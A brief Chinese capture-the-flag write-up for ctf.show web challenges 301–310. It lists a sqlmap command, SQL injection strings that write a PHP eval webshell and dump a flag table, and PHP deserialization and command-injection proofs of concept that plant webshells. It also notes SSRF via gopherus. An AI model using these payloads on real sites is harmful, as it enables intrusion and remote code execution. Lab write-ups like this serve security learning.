web301
没过滤
sqlmap
sqlmap -u "http://aff90e09-7d76-404f-b0b2-c327a085374b.challenge.ctf.show/checklogin.php" --form --batch --dump //--form sqlmap自己抓包
写马
web302
if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){
提示:strcasecmp() 函数是二进制安全的,且不区分大小写。
提示:该函数与 strncasecmp() 函数类似,不同的是,通过 strncasecmp() 您可以指定每个字符串用于比较的字符数
用的是$row['sds_password'],也就是执行完sql语句,所以直接在checklogin.php写shell就行
payload:user id=a ' union select "<?php eval($_POST[1]); ?>" into outfile "/var/www/html/a.php"%23&userpwd=1
web303
在fun.php中发现,echo出admin加密后的值,与数据库中的相等,由此判断该登陆账号密码是admin和admin
经过测试
然后进行注入
# 库名: sds
dpt_name=1%27,sds_address=(select database())#
# 表名: sds_dpt,sds_fl9g,sds_user
dpt_name=1%27,sds_address=(select group_concat(table_name) from information_schema.tables where table_schema=database())#
# 列名: flag
dpt_name=1%27,sds_address=(select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g')#
# 字段值
dpt_name=1%27,sds_address=(select group_concat(flag) from sds_fl9g)#
web304
payload如上题
web305
在checklogin.php中传cookie
web306
有waf,sql注入可能八成是搞不了了
从反序列化入手
class.php有个危险函数
然后利用这个搜索发现在dao.php引用过这个
index.php有反序列化函数也包含了dao.php文件
poc
<?php
class log
{
public $title;
public $info;
}
class dao
{
private $conn;
public function __construct($a)
{
$this->conn=$a;
}
}
$a=new log();
$a->title='0.php';
$a->info='<?php eval($_POST[cmd]);?>';
$b=new dao($a);
//echo serialize($b);
echo base64_encode(serialize($b));
//echo "<br>";
//echo
web307
发现没有什么调用这个的
然后看第二个
发现可以拼接
config.php里面 的
poc
<?php
class config{
public $cache_dir=';echo \'<?php eval($_POST[1]);?>\' > 1.php;';
}
class dao
{
private $config;
public function __construct()
{
$this->config=new config();
}
}
$a=new dao();
echo base64_encode(serialize($a));
web308
在dao.php中发现checkUpdate
跟踪发现在fun.php里
存在ssrf
利用gopherus打
利用index.php
web309
mysql有密码了,原来的方法不行了
FastCGI是一个可伸缩地、高速地在HTTP服务器和动态脚本语言间通信的接口(FastCGI接口在Linux下是socket(可以是文件socket,也可以是ip socket)),主要优点是把动态语言和HTTP服务器分离开来
然后在index.php 的cookie传
web310
读到敏感配置文件
访问4476